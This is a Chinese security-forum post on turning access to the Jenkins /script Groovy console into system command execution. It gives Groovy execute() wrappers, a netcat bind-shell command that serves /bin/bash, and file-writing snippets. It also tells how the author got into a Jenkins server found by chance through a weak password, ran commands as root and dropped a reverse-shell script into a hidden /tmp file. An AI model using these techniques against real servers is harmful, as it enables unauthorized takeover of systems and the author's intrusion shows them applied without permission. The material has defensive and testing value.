用户
搜索
  • TA的每日心情
    无聊
    前天 12:31
  • 签到天数: 107 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    5

    主题

    33

    帖子

    1670

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2017-6-5

    i春秋签约作者

    发表于 2018-3-5 10:51:32 27603


    好久没来社区逛了,今天给大家带来一个我最近在玩耍中用到的技术。

    0x00引言

    在Jenkins中,当你登录以后,有一个可以编写脚本的地方,路径在/script。

    在这里,我们可以编写groovy脚本来执行一些命令。而groovy中有一个execute()函数却可以执行系统命令,函数原型如下:

    Process execute() 
    Process execute(String[] envp, File dir) 
    Process execute(List envp, File dir) 

    而我们一般用到的是第一个原型。下面是一个简单的例子:

    'ls -l'.execute()

    当然,执行完了以后我们还要看到输出才行,例子如下:

    def poc='ls -l'.execute()
    println poc.text

    我们可以把这个方法封装成一个函数,

    def executerln(cmd){
      def poc=cmd.execute().text
      println poc
    }

    以后只需要把函数一copy,然后执行executeln('ls -l')即可。

    0x01实例

    当然,execute函数使用方法不止上面一种。

    除了String类型以外,list也可以执行execute函数。executeln(['nc','-lp','8800','-e','/bin/bash'])也是可以的。(执行的命令是什么意思我也不知道

    那现在同学们就要问了(不好意思,举手就好了,请坐下),那如果函数执行失败,没有输出信息怎么办呢?这个问题也是有解决办法滴,我们使用下面的代码:

    def execute(cmd){
      def sout = new StringBuilder()
      def serr = new StringBuilder()
      def poc=cmd.execute()
      poc.consumeProcessOutput(sout, serr)
      poc.waitForOrKill(1000)
      println "out> $sout\nerr> $serr\n"
    }

    然后执行execute('whoami')。如果命令没问题,那么输出会在out>后打印出来,如果有错误,那么就会在err>后面打印出来了。

    0x02实用代码

    大部分情况下,我们只要能执行命令就可以了。但是groovy能做的还不止这么多,下面分享一些可以在脚本中使用的常用操作。

    1.写入文件

    //单行写入
    new File("/tmp/run.sh").write('Hello');
    //多行写入
    new File("/tmp/test.php").write("""
    phpinfo();
    echo '404 not found';
    """);

    2.遍历目录(与ls同样效果,适合在ls不能用的情况下使用)

    def dir = new File(".")//遍历当前目录,其他目录同理
    dir.eachFile{file ->
      println file
    }

    3.复制文件

    def src = new File('/home/test/a')
    def dist = new File('/tmp/b')
    dist << src.bytes

    0x03实战利用

    在一个很偶然的情况下,摸到了一个Jenkins系统的弱口令,登录进去以后,发现没什么限制,于是打开/script页面。

    先执行下println 'whoami'.execute().text ,输出root,很幸运。既然如此,那就不客气了。

    用msf生成一个python或者perl的反弹shell,然后写入:

    def filename ="/tmp/.1.sh"//简单隐藏一下
    new File(filename).write("""
    payload
    """);

    然后在本机上用nc监听端口:
    nc -lvvp 8080
    最后执行:

    def execute(cmd){//为了方便用能打出错误信息的方法
      def sout = new StringBuilder()
      def serr = new StringBuilder()
      def poc=cmd.execute()
      poc.consumeProcessOutput(sout, serr)
      poc.waitForOrKill(1000)
      println "out> $sout\nerr> $serr\n"
    }
    execute(['python', '/tmp/.1.sh'])

    然后在本机即可看到回显

    0x04总结

    其实这么多脚本,正常情况下用到的只是少数。写这么多也是为了在一些特殊情况下还能继续后渗透的步骤,防止思路被打破干瞪眼的情况。也给自己做个记录。

    https://blog.scp500.com
    发表于 2018-3-6 23:09:59
    涨姿势了
    https://www.baidu.com
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册